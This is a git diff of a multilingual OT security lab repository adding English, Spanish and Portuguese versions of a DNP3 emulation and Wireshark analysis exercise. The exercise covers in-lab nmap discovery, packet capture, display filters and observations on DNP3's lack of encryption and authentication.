only frames carrying objects of a group | `dnp3.al.obj == ` * | - -\* Wireshark expresses Group/Variation as a single integer (Group × 256 + Variation). When in doubt, click the field in Packet Details — Wireshark shows the exact filter expression at the bottom of the window. +| Apenas tramas DNP3 | `dnp3` | +| Apenas DNP3 de/para um endpoint TCP específico | `dnp3 && tcp.port == 20000` | +| Apenas tramas com origem num IP | `dnp3 && ip.src == ` | +| Apenas pedidos com um dado código de função | `dnp3.al.func == ` (ex.: `dnp3.al.func == 1`) | +| Filtrar pelo endereço de origem da ligação | `dnp3.src == ` | +| Filtrar pelo endereço de destino da ligação | `dnp3.dst == ` | +| Mostrar só tramas com objetos de um grupo | `dnp3.al.obj == ` * | ---- +\* O Wireshark exprime Group/Variation como um único inteiro (Group × 256 + Variation). Na dúvida, clica no campo em Packet Details — o Wireshark mostra a expressão de filtro exata no fundo da janela. -## 🧭 Useful Wireshark navigation +## 🧭 Navegação útil no Wireshark -| What you want | How | +| O que queres | Como | |----------------------------------------------------------|----------------------------------------------------------------------------------| -| Inspect raw bytes of a frame | Bottom pane (**Packet Bytes**). Click a field to highlight bytes. | -| See the symbolic name of any DNP3 fiel | **Packet Details**; the filter expression appears at the bottom-left status bar.| -| Measure time between filtered packets | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | -| Visualise periodicity | **Statistics → I/O Graph**, with your filter and a 1 s interval. | -| Follow a TCP conversation as bytes | Right-click a packet → **Follow → TCP Stream**. | -| Export a single PDU as bytes | Right-click in Packet Bytes → **Copy → … as Hex Stream**. | - ---- - -## 🔖 Acronyms - -- **PDU**: Protocol Data Unit — one self-contained message at a given protocol layer. -- **APDU / ALPDU**: Application-layer PDU. -- **CRC**: Cyclic Redundancy Check — error-detection code (not cryptographic). -- **IIN**: Internal Indications — outstation status flags carried in responses. -- **SBO**: Select-Before-Operate — two-step control sequence (`SELECT` then `OPERATE`). -- **DIR / PRM / FCB / FCV**: Direction, Primary, Frame Count Bit, Frame Count Valid — control bits in the data-link header. +| Inspecionar os bytes em bruto de uma trama | Painel inferior (**Packet Bytes**). Clica num campo para realçar os bytes. | +| Ver o nome simbólico de qualquer campo DNP3 | **Packet Details**; a expressão de filtro aparece na barra de estado inferior esquerda. | +| Medir o tempo entre pacotes filtrados | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | +| Visualizar a periodicidade | **Statistics → I/O Graph**, com o teu filtro e intervalo de 1 s. | +| Seguir uma conversa TCP em bytes | Clica com o botão direito num pacote → **Follow → TCP Stream**. | +| Exportar uma única PDU em bytes | Clica com o botão direito em Packet Bytes → **Copy → … as Hex Stream**. | + +## 🔖 Siglas + +- **PDU**: Protocol Data Unit — uma mensagem autónoma numa dada camada do protocolo. +- **APDU / ALPDU**: PDU da camada de aplicação. +- **CRC**: Cyclic Redundancy Check — código de deteção de erros (não criptográfico). +- **IIN**: Internal Indications — flags de estado da outstation transportadas nas respostas. +- **SBO**: Select-Before-Operate — sequência de controlo em dois passos (`SELECT` e depois `OPERATE`). +- **DIR / PRM / FCB / FCV**: Direction, Primary, Frame Count Bit, Frame Count Valid — bits de controlo no cabeçalho da camada de ligação. diff --git a/OTLab14/OTLab14-EN.md b/OTLab14/OTLab14-EN.md new file mode 100644 index 0000000..325cb34 --- /dev/null +++ b/OTLab14/OTLab14-EN.md @@ -0,0 +1,116 @@ +--- +title: "Lab 14 - DNP3 Protocol Emulation and Traffic Analysis Using Wireshark" +description: "Emulate DNP3 traffic between a master and an outstation and analyse it with Wireshark on an OT network." +categories: ["Laboratories"] +difficulty: "Advanced" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Traffic Analysis", "Packet Capture", "SCADA", "Network Reconnaissance", "Protocol Analysis"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab14 — DNP3 + Wireshark Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Scenario + +A small electric utility runs a remote substation that publishes telemetry over **DNP3** to a control center located in the corporate network. You — the student — sit at the **engineering workstation (EWS/otlab-student)**, which is dual-homed between the (`OT segment`) and the (`corporate`) segment and forwards traffic between them. + +Your job in this lab is to **understand how DNP3 carries the conversation** between the master and the outstation: where each host sits, what the protocol exchanges look like on the wire, which data points are being polled, and what the protocol does *not* do (spoiler: confidentiality and authentication). + +This is the first lab in a three-part story. OTLab15 will introduce anomalous traffic on the same topology, which you will detect with Zeek. OTLab16 will walk through the incident-response steps triggered by what OTLab15 surfaces. + +> [!NOTE] +> While analysing the captured traffic, refer to `DNP3WiresharkReference-EN.md` for the Wireshark dissector field names, the DNP3 frame layout, the function code table, and useful display filters. It is meant as a lookup card — keep it open in another tab. + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not point any DNP3 client, scanner, or capture at hosts outside this lab** — DNP3 devices in production are fragile and unauthenticated probes can disrupt real industrial processes. + +- 1️⃣ Verify the IP addresses and interfaces of the `otlab-student` workstation, and confirm that it has one foot in each subnet. +Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} + +- 2️⃣ Using nmap identify the relevant hosts by scaning the subnets that you have access. Try to figure out what is the OT segment and IT segment. Hint: {xxx.xxx.x0.x/xx} and {xxx.xxx.x1.x/xx} + +- 3️⃣ Confirm that IP forwarding is enabled on the (`EWS/otlab-student`) by pinging the `outstation` and the `master` to verify both segments are reachable. + +- 4️⃣ From the `EWS/otlab-student`, scan the outstation host using nmap and identify the number of the open TCP port serving DNP3. Hint: {xxxxx/tcp} + +- 5️⃣ Access the otlab-student desktop using the browser at http://localhost:3000/, capture live traffic in its OT-side interface using Wireshark and isolate the DNP3 conversation between `master` and `outstation`. To open Wireshark you'll need to issue the command `wireshark` in the terminal emulator inside the otlab-student workstation. + +- 6️⃣ Identify the **two DNP3 layers** visible in each frame and explain, in your own words, the role of each. + - *Hint: {xxxx xxxx layer} (with start bytes `0x05 0x64`) and {xxxxxxxxxxx layer}.* + +- 7️⃣ In the captured exchange, locate and document: + - The **master address** and **outstation address** on the data link layer. + - The **application function code** used by the master to poll the outstation. + - The **application function code** used by the outstation to respond. + +- 8️⃣ Decode at least one response message and **infer** which DNP3 object/index corresponds to each simulated process variable (`Voltage`, `Current`, `BreakerOpen`). DNP3 carries no labels on the wire — justify your mapping using the object type (Analog vs Binary), the magnitude of the values, and the temporal dynamics described in the note below. + + +- 9️⃣ Measure the **polling interval** observed on the wire (from the timestamps of consecutive master→outstation requests) and confirm it matches the configured cadence stated in the note below. + - *Hint: in Wireshark, build a display filter that keeps only the master's poll requests (frames sourced from the master with the application function code you identified in the previous task), then go to* **View → Time Display Format → Seconds Since Previous Displayed Packet** *— the* **Time** *column will then show the inter-poll delta directly. As a visual cross-check,* **Statistics → I/O Graph** *with the same filter shows the periodic peaks.* + + +- 🔟 Inspect the bytes of any single DNP3 application message and answer: *Is any field encrypted? Is the master authenticated? What would an attacker learn — or change — by intercepting this traffic?* + +- 1️⃣1️⃣ Briefly document your findings (one paragraph) describing the protocol behavior and the security properties (or lack thereof) you observed. **This document is the input for OTLab15.** + + +> [!NOTE] +> The outstation simulates a feeder breaker: it publishes a voltage reading in the 110–130 V range and a current reading in the 0.5–15 A range every 5 seconds, and toggles a `BreakerOpen` flag every 20 updates (≈100 s). The master polls every 10 seconds. Knowing the *expected* baseline of this lab — including the value ranges — is what will let you map the DNP3 indices to the right variables and spot anomalies in OTLab15. + +## 🎯 Skills + +**Hands-on:** Network Reconnaissance · Packet Capture (Wireshark) · DNP3 Protocol Dissection · OT/ICS Security Analysis + +**Mapped to [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0840 Network Connection Enumeration](https://img.shields.io/badge/ATT%26CK_ICS-T0840_Network_Connection_Enumeration-red)](https://attack.mitre.org/techniques/T0840/) +[![T0842 Network Sniffing](https://img.shields.io/badge/ATT%26CK_ICS-T0842_Network_Sniffing-red)](https://attack.mitre.org/techniques/T0842/) +[![T0861 Point & Tag Identification](https://img.shields.io/badge/ATT%26CK_ICS-T0861_Point_%26_Tag_Identification-red)](https://attack.mitre.org/techniques/T0861/) + +## 🔖 Nomenclature + +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IP: Internet protocol. +- MAC: Media access control. +- OT: Operational technology. +- PLC: Programmable logic controller. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- TCP: Transmission control protocol. + +## 🛠️ Usage + +``` +Usage: ./OTLab14.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status + + -start Start the DNP3Lab environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student container + -web Print the noVNC URL to access the student desktop + -clean Remove containers, volumes, and network + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. diff --git a/OTLab14/OTLab14-ES.md b/OTLab14/OTLab14-ES.md new file mode 100644 index 0000000..3db9757 --- /dev/null +++ b/OTLab14/OTLab14-ES.md @@ -0,0 +1,113 @@ +--- +title: "Lab 14 - Emulación del protocolo DNP3 y análisis de tráfico con Wireshark" +description: "Emulación de tráfico DNP3 entre un master y una outstation y su análisis con Wireshark en una red OT." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Análisis de Tráfico", "Captura de Paquetes", "SCADA", "Reconocimiento de Red", "Análisis de Protocolo"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- + +![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab14 — DNP3 + Wireshark Lab") + +[![Curriculum Lattes](https://img.shields.io/badge/Lattes-white)](http://lattes.cnpq.br/8846358506427099) +[![ORCID](https://img.shields.io/badge/ORCID-grey)](https://orcid.org/0000-0002-6254-7306) +[![SciProfiles](https://img.shields.io/badge/SciProfiles-black)](https://sciprofiles.com/profile/lffreitas-gutierres) +[![Scopus](https://img.shields.io/badge/Scopus-white)](https://www.scopus.com/authid/detail.uri?authorId=57195542368) +[![Web of Science](https://img.shields.io/badge/ResearcherID-grey)](https://www.webofscience.com/wos/author/record/Q-8444-2016) +[![substationworm](https://img.shields.io/badge/substationworm-black)](https://github.com/substationworm) +[![LFFreitasGutierres](https://img.shields.io/badge/LFFreitasGutierres-white)](https://github.com/LFFreitas-Gutierres) + +[![GitHub fariasrafael10](https://img.shields.io/badge/GitHub-fariasrafael10-black)](https://github.com/fariasrafael10) +[![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) +[![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) + +## Escenario + +Una pequeña empresa eléctrica opera una subestación remota que publica telemetría mediante **DNP3** hacia un centro de control situado en la red corporativa. Tú — el estudiante — estás en la **estación de trabajo de ingeniería (EWS/otlab-student)**, que tiene una interfaz en cada segmento (`OT` y `corporativo`) y reenvía tráfico entre ambos. + +Tu tarea en este laboratorio es **comprender cómo el DNP3 transporta la conversación** entre el master y la outstation: dónde se ubica cada host, qué aspecto tienen los intercambios del protocolo en el cable, qué puntos de datos se están consultando (*polled*) y qué *no* hace el protocolo (atención: confidencialidad y autenticación). + +Este es el primer laboratorio de una historia en tres partes. El OTLab15 introducirá tráfico anómalo en la misma topología, que detectarás con Zeek. El OTLab16 recorrerá los pasos de respuesta a incidentes desencadenados por lo que el OTLab15 revele. + +> [!NOTE] +> Mientras analizas el tráfico capturado, consulta `DNP3WiresharkReference-ES.md` para los nombres de los campos del disector de Wireshark, la estructura de la trama DNP3, la tabla de códigos de función y filtros de visualización útiles. Sirve como tarjeta de consulta — mantenla abierta en otra pestaña. + +## 📝 Tareas + +> [!WARNING] +> Todas las tareas se realizan dentro de los contenedores del laboratorio. **No apuntes ningún cliente DNP3, escáner o captura a hosts fuera de este laboratorio** — los dispositivos DNP3 en producción son frágiles y los sondeos no autenticados pueden interrumpir procesos industriales reales. + +- 1️⃣ Verifica las direcciones IP y las interfaces de la estación `otlab-student` y confirma que tiene un pie en cada subred. +Pista: {xxx.xxx.x0.xxx} y {xxx.xxx.x1.xxx} + +- 2️⃣ Usando nmap, identifica los hosts relevantes escaneando las subredes a las que tienes acceso. Intenta averiguar cuál es el segmento OT y cuál el segmento IT. Pista: {xxx.xxx.x0.x/xx} y {xxx.xxx.x1.x/xx} + +- 3️⃣ Confirma que el reenvío de IP (*IP forwarding*) está activo en la (`EWS/otlab-student`) haciendo ping a la `outstation` y al `master` para verificar que ambos segmentos son alcanzables. + +- 4️⃣ Desde la `EWS/otlab-student`, escanea el host de la outstation con nmap e identifica el número del puerto TCP abierto que sirve el DNP3. Pista: {xxxxx/tcp} + +- 5️⃣ Accede al escritorio del otlab-student a través del navegador en http://localhost:3000/, captura tráfico en vivo en su interfaz del lado OT usando Wireshark y aísla la conversación DNP3 entre `master` y `outstation`. Para abrir Wireshark necesitas ejecutar el comando `wireshark` en el emulador de terminal dentro de la estación otlab-student. + +- 6️⃣ Identifica las **dos capas DNP3** visibles en cada trama y explica, con tus propias palabras, el papel de cada una. + - *Pista: la {capa xxxx xxxx} (con los bytes iniciales `0x05 0x64`) y la {capa xxxxxxxxxxx}.* + +- 7️⃣ En el intercambio capturado, localiza y documenta: + - La **dirección del master** y la **dirección de la outstation** en la capa de enlace de datos. + - El **código de función de aplicación** usado por el master para consultar la outstation. + - El **código de función de aplicación** usado por la outstation para responder. + +- 8️⃣ Decodifica al menos un mensaje de respuesta e **infiere** qué objeto/índice DNP3 corresponde a cada variable de proceso simulada (`Voltage`, `Current`, `BreakerOpen`). El DNP3 no transporta etiquetas en el cable — justifica tu mapeo basándote en el tipo de objeto (Analógico vs Binario), la magnitud de los valores y la dinámica temporal descrita en la nota de abajo. + +- 9️⃣ Mide el **intervalo de polling** observado en el cable (a partir de las marcas de tiempo de peticiones consecutivas master→outstation) y confirma que coincide con la cadencia configurada indicada en la nota de abajo. + - *Pista: en Wireshark, construye un filtro de visualización que mantenga solo las peticiones de poll del master (tramas con origen en el master y con el código de función de aplicación que identificaste en la tarea anterior) y luego ve a* **View → Time Display Format → Seconds Since Previous Displayed Packet** *— la columna* **Time** *mostrará entonces directamente el delta entre polls. Como verificación visual,* **Statistics → I/O Graph** *con el mismo filtro muestra los picos periódicos.* + +- 🔟 Inspecciona los bytes de un único mensaje de aplicación DNP3 y responde: *¿Hay algún campo cifrado? ¿Está autenticado el master? ¿Qué aprendería — o cambiaría — un atacante al interceptar este tráfico?* + +- 1️⃣1️⃣ Documenta brevemente tus conclusiones (un párrafo) describiendo el comportamiento del protocolo y las propiedades de seguridad (o su ausencia) que observaste. **Este documento es la entrada para el OTLab15.** + +> [!NOTE] +> La outstation simula el interruptor de un alimentador: publica una lectura de tensión en el rango 110–130 V y una lectura de corriente en el rango 0,5–15 A cada 5 segundos, y alterna una *flag* `BreakerOpen` cada 20 actualizaciones (≈100 s). El master hace poll cada 10 segundos. Conocer la baseline *esperada* de este laboratorio — incluyendo los rangos de valores — es lo que te permitirá mapear los índices DNP3 a las variables correctas y detectar anomalías en el OTLab15. + +## 🎯 Competencias + +**Prácticas:** Reconocimiento de Red · Captura de Paquetes (Wireshark) · Disección del Protocolo DNP3 · Análisis de Seguridad OT/ICS + +**Mapeadas al [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** + +[![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) +[![T0840 Network Connection Enumeration](https://img.shields.io/badge/ATT%26CK_ICS-T0840_Network_Connection_Enumeration-red)](https://attack.mitre.org/techniques/T0840/) +[![T0842 Network Sniffing](https://img.shields.io/badge/ATT%26CK_ICS-T0842_Network_Sniffing-red)](https://attack.mitre.org/techniques/T0842/) +[![T0861 Point & Tag Identification](https://img.shields.io/badge/ATT%26CK_ICS-T0861_Point_%26_Tag_Identification-red)](https://attack.mitre.org/techniques/T0861/) + +## 🔖 Nomenclatura + +- DNP3: Distributed Network Protocol version 3 — protocolo SCADA ampliamente usado en servicios eléctricos, de agua y de petróleo y gas. +- EWS: Estación de trabajo de ingeniería (*engineering workstation*) — el host operado por ingenieros de control para configurar, programar y monitorizar dispositivos de campo. +- ICS: Sistema de control industrial (*industrial control system*). +- IP: Protocolo de Internet (*internet protocol*). +- MAC: Control de acceso al medio (*media access control*). +- OT: Tecnología operativa (*operational technology*). +- PLC: Controlador lógico programable (*programmable logic controller*). +- RTU: Unidad terminal remota (*remote terminal unit*) — el papel de dispositivo de campo que normalmente desempeña una outstation DNP3. +- SCADA: Supervisión, control y adquisición de datos (*supervisory control and data acquisition*). +- TCP: Protocolo de control de transmisión (*transmission control protocol*). + +## 🛠️ Uso + +``` +Usage: ./OTLab14.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status + + -start Inicia el entorno del DNP3Lab usando la distro indicada (por defecto: ubuntu) + Opciones válidas: kali (rolling) o ubuntu (22.04) + -run Abre un terminal dentro del contenedor otlab-student + -web Muestra la URL noVNC para acceder al escritorio del estudiante + -clean Elimina contenedores, volúmenes y la red + -stop Detiene todos los contenedores + -restart Reinicia contenedores previamente detenidos + -status Muestra el estado actual de los contenedores +``` + +> [!NOTE] +> Cuando se ejecuta en **WSL2**, el script detecta automáticamente el entorno y aplica las reglas a nivel de kernel (`bridge-nf-call-iptables=0` y dos reglas `DOCKER-USER` ACCEPT) necesarias para que el tráfico se enrute entre los dos *bridges* de Docker. Estas reglas requieren `sudo` y se revierten con `-clean`. En Linux nativo y en Docker Desktop de macOS las reglas se omiten — los valores por defecto de Docker ya permiten el reenvío entre *bridges*. diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index cbf76bb..21f8d49 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -1,4 +1,13 @@ -# OTLab14 — DNP3 + Wireshark Lab +--- +title: "Lab 14 - Emulação do protocolo DNP3 e análise de tráfego com Wireshark" +description: "Emulação de tráfego DNP3 entre master e outstation e a sua análise com Wireshark numa rede OT." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Wireshark", "tshark", "Análise de Tráfego", "Captura de Pacotes", "SCADA", "Reconhecimento de Rede", "Análise de Protocolo"] +estimated_time: "90 min" +level: 4 +area: "detection" +--- ![](https://raw.githubusercontent.com/substationworm/OTLab/main/OTLab-SecondHeader.png "OTLab14 — DNP3 + Wireshark Lab") @@ -14,94 +23,91 @@ [![LinkedIn Farias Rafael](https://img.shields.io/badge/LinkedIn-Farias_Rafael-blue)](https://www.linkedin.com/in/farias-rafael/) [![IPLeiria ESTG-DEI](https://img.shields.io/badge/IPLeiria-ESTG--DEI-green)](https://www.ipleiria.pt/estg-dei/) -## Scenario +## Cenário -A small electric utility runs a remote substation that publishes telemetry over **DNP3** to a control center located in the corporate network. You — the student — sit at the **engineering workstation (EWS/otlab-student)**, which is dual-homed between the (`OT segment`) and the (`corporate`) segment and forwards traffic between them. +Uma pequena empresa de eletricidade opera uma subestação remota que publica telemetria por **DNP3** para um centro de controlo situado na rede corporativa. Tu — o estudante — estás na **estação de trabalho de engenharia (EWS/otlab-student)**, que tem uma interface em cada segmento (`OT` e `corporativo`) e encaminha tráfego entre ambos. -Your job in this lab is to **understand how DNP3 carries the conversation** between the master and the outstation: where each host sits, what the protocol exchanges look like on the wire, which data points are being polled, and what the protocol does *not* do (spoiler: confidentiality and authentication). +A tua tarefa neste laboratório é **perceber como o DNP3 transporta a conversa** entre o master e a outstation: onde está cada host, qual o aspeto das trocas do protocolo no fio, que pontos de dados estão a ser consultados (*polled*) e o que o protocolo *não* faz (atenção: confidencialidade e autenticação). -This is the first lab in a three-part story. OTLab15 will introduce anomalous traffic on the same topology, which you will detect with Zeek. OTLab16 will walk through the incident-response steps triggered by what OTLab15 surfaces. +Este é o primeiro laboratório de uma história em três partes. O OTLab15 introduzirá tráfego anómalo na mesma topologia, que irás detetar com Zeek. O OTLab16 percorrerá os passos de resposta a incidentes desencadeados pelo que o OTLab15 revelar. > [!NOTE] -> While analysing the captured traffic, refer to `DNP3WiresharkReference.md` for the Wireshark dissector field names, the DNP3 frame layout, the function code table, and useful display filters. It is meant as a lookup card — keep it open in another tab. +> Enquanto analisas o tráfego capturado, consulta o `DNP3WiresharkReference.md` para os nomes dos campos do dissecador do Wireshark, a estrutura da trama DNP3, a tabela de códigos de função e filtros de exibição úteis. Serve de cartão de consulta — mantém-no aberto noutro separador. -## 📝 Tasks +## 📝 Tarefas > [!WARNING] -> All tasks are conducted inside the lab containers. **Do not point any DNP3 client, scanner, or capture at hosts outside this lab** — DNP3 devices in production are fragile and unauthenticated probes can disrupt real industrial processes. +> Todas as tarefas são realizadas dentro dos contentores do laboratório. **Não apontes nenhum cliente DNP3, scanner ou captura a hosts fora deste laboratório** — os dispositivos DNP3 em produção são frágeis e sondagens não autenticadas podem perturbar processos industriais reais. -- [ ] Verify the IP addresses and interfaces of the `otlab-student` workstation, and confirm that it has one foot in each subnet. -Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} +- 1️⃣ Verifica os endereços IP e as interfaces da estação `otlab-student` e confirma que tem um pé em cada sub-rede. +Pista: {xxx.xxx.x0.xxx} e {xxx.xxx.x1.xxx} -- [ ] Using nmap identify the relevant hosts by scaning the subnets that you have access. Try to figure out what is the OT segment and IT segment. Hint: {xxx.xxx.x0.x/xx} and {xxx.xxx.x1.x/xx} +- 2️⃣ Usando o nmap, identifica os hosts relevantes através do varrimento das sub-redes a que tens acesso. Tenta perceber qual é o segmento OT e qual é o segmento IT. Pista: {xxx.xxx.x0.x/xx} e {xxx.xxx.x1.x/xx} -- [ ] Confirm that IP forwarding is enabled on the (`EWS/otlab-student`) by pinging the `outstation` and the `master` to verify both segments are reachable. +- 3️⃣ Confirma que o encaminhamento de IP (*IP forwarding*) está ativo na (`EWS/otlab-student`), fazendo ping à `outstation` e ao `master` para verificar que ambos os segmentos são alcançáveis. -- [ ] From the `EWS/otlab-student`, scan the outstation host using nmap and identify the number of the open TCP port serving DNP3. Hint: {xxxxx/tcp} +- 4️⃣ A partir da `EWS/otlab-student`, faz scan ao host da outstation com o nmap e identifica o número da porta TCP aberta que serve o DNP3. Pista: {xxxxx/tcp} -- [ ] Access the otlab-student desktop using the browser at http://localhost:3000/, capture live traffic in its OT-side interface using Wireshark and isolate the DNP3 conversation between `master` and `outstation`. To open Wireshark you'll need to issue the command `wireshark` in the terminal emulator inside the otlab-student workstation. +- 5️⃣ Acede ao desktop do otlab-student através do browser em http://localhost:3000/, captura tráfego em direto na sua interface do lado OT usando o Wireshark e isola a conversa DNP3 entre `master` e `outstation`. Para abrir o Wireshark precisas de executar o comando `wireshark` no emulador de terminal dentro da estação otlab-student. -- [ ] Identify the **two DNP3 layers** visible in each frame and explain, in your own words, the role of each. - - *Hint: {xxxx xxxx layer} (with start bytes `0x05 0x64`) and {xxxxxxxxxxx layer}.* +- 6️⃣ Identifica as **duas camadas DNP3** visíveis em cada trama e explica, por palavras tuas, o papel de cada uma. + - *Pista: a {camada xxxx xxxx} (com os bytes iniciais `0x05 0x64`) e a {camada xxxxxxxxxxx}.* -- [ ] In the captured exchange, locate and document: - - The **master address** and **outstation address** on the data link layer. - - The **application function code** used by the master to poll the outstation. - - The **application function code** used by the outstation to respond. +- 7️⃣ Na troca capturada, localiza e documenta: + - O **endereço do master** e o **endereço da outstation** na camada de ligação de dados. + - O **código de função de aplicação** usado pelo master para consultar a outstation. + - O **código de função de aplicação** usado pela outstation para responder. -- [ ] Decode at least one response message and **infer** which DNP3 object/index corresponds to each simulated process variable (`Voltage`, `Current`, `BreakerOpen`). DNP3 carries no labels on the wire — justify your mapping using the object type (Analog vs Binary), the magnitude of the values, and the temporal dynamics described in the note below. +- 8️⃣ Descodifica pelo menos uma mensagem de resposta e **infere** que objeto/índice DNP3 corresponde a cada variável de processo simulada (`Voltage`, `Current`, `BreakerOpen`). O DNP3 não transporta etiquetas no fio — justifica o teu mapeamento com base no tipo de objeto (Analógico vs Binário), na magnitude dos valores e na dinâmica temporal descrita na nota abaixo. +- 9️⃣ Mede o **intervalo de polling** observado no fio (a partir dos *timestamps* de pedidos consecutivos master→outstation) e confirma que corresponde à cadência configurada indicada na nota abaixo. + - *Pista: no Wireshark, constrói um filtro de exibição que mantenha apenas os pedidos de poll do master (tramas com origem no master e com o código de função de aplicação que identificaste na tarefa anterior) e depois vai a* **View → Time Display Format → Seconds Since Previous Displayed Packet** *— a coluna* **Time** *passará a mostrar diretamente o delta entre polls. Como verificação visual,* **Statistics → I/O Graph** *com o mesmo filtro mostra os picos periódicos.* -- [ ] Measure the **polling interval** observed on the wire (from the timestamps of consecutive master→outstation requests) and confirm it matches the configured cadence stated in the note below. - - *Hint: in Wireshark, build a display filter that keeps only the master's poll requests (frames sourced from the master with the application function code you identified in the previous task), then go to* **View → Time Display Format → Seconds Since Previous Displayed Packet** *— the* **Time** *column will then show the inter-poll delta directly. As a visual cross-check,* **Statistics → I/O Graph** *with the same filter shows the periodic peaks.* - - -- [ ] Inspect the bytes of any single DNP3 application message and answer: *Is any field encrypted? Is the master authenticated? What would an attacker learn — or change — by intercepting this traffic?* - -- [ ] Briefly document your findings (one paragraph) describing the protocol behavior and the security properties (or lack thereof) you observed. **This document is the input for OTLab15.** +- 🔟 Inspeciona os bytes de uma única mensagem de aplicação DNP3 e responde: *Algum campo está cifrado? O master está autenticado? O que aprenderia — ou alteraria — um atacante ao intercetar este tráfego?* +- 1️⃣1️⃣ Documenta brevemente as tuas conclusões (um parágrafo) descrevendo o comportamento do protocolo e as propriedades de segurança (ou a sua ausência) que observaste. **Este documento é a entrada para o OTLab15.** > [!NOTE] -> The outstation simulates a feeder breaker: it publishes a voltage reading in the 110–130 V range and a current reading in the 0.5–15 A range every 5 seconds, and toggles a `BreakerOpen` flag every 20 updates (≈100 s). The master polls every 10 seconds. Knowing the *expected* baseline of this lab — including the value ranges — is what will let you map the DNP3 indices to the right variables and spot anomalies in OTLab15. +> A outstation simula o disjuntor de um alimentador: publica uma leitura de tensão na gama 110–130 V e uma leitura de corrente na gama 0,5–15 A a cada 5 segundos, e alterna uma *flag* `BreakerOpen` a cada 20 atualizações (≈100 s). O master faz poll a cada 10 segundos. Conhecer a baseline *esperada* deste laboratório — incluindo as gamas de valores — é o que te permitirá mapear os índices DNP3 às variáveis corretas e detetar anomalias no OTLab15. -## 🎯 Skills +## 🎯 Competências -**Hands-on:** Network Reconnaissance · Packet Capture (Wireshark) · DNP3 Protocol Dissection · OT/ICS Security Analysis +**Práticas:** Reconhecimento de Rede · Captura de Pacotes (Wireshark) · Dissecação do Protocolo DNP3 · Análise de Segurança OT/ICS -**Mapped to [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** +**Mapeadas para o [MITRE ATT&CK for ICS](https://attack.mitre.org/matrices/ics/):** [![T0846 Remote System Discovery](https://img.shields.io/badge/ATT%26CK_ICS-T0846_Remote_System_Discovery-red)](https://attack.mitre.org/techniques/T0846/) [![T0840 Network Connection Enumeration](https://img.shields.io/badge/ATT%26CK_ICS-T0840_Network_Connection_Enumeration-red)](https://attack.mitre.org/techniques/T0840/) [![T0842 Network Sniffing](https://img.shields.io/badge/ATT%26CK_ICS-T0842_Network_Sniffing-red)](https://attack.mitre.org/techniques/T0842/) [![T0861 Point & Tag Identification](https://img.shields.io/badge/ATT%26CK_ICS-T0861_Point_%26_Tag_Identification-red)](https://attack.mitre.org/techniques/T0861/) -## 🔖 Nomenclature +## 🔖 Nomenclatura -- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. -- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. -- ICS: Industrial control system. -- IP: Internet protocol. -- MAC: Media access control. -- OT: 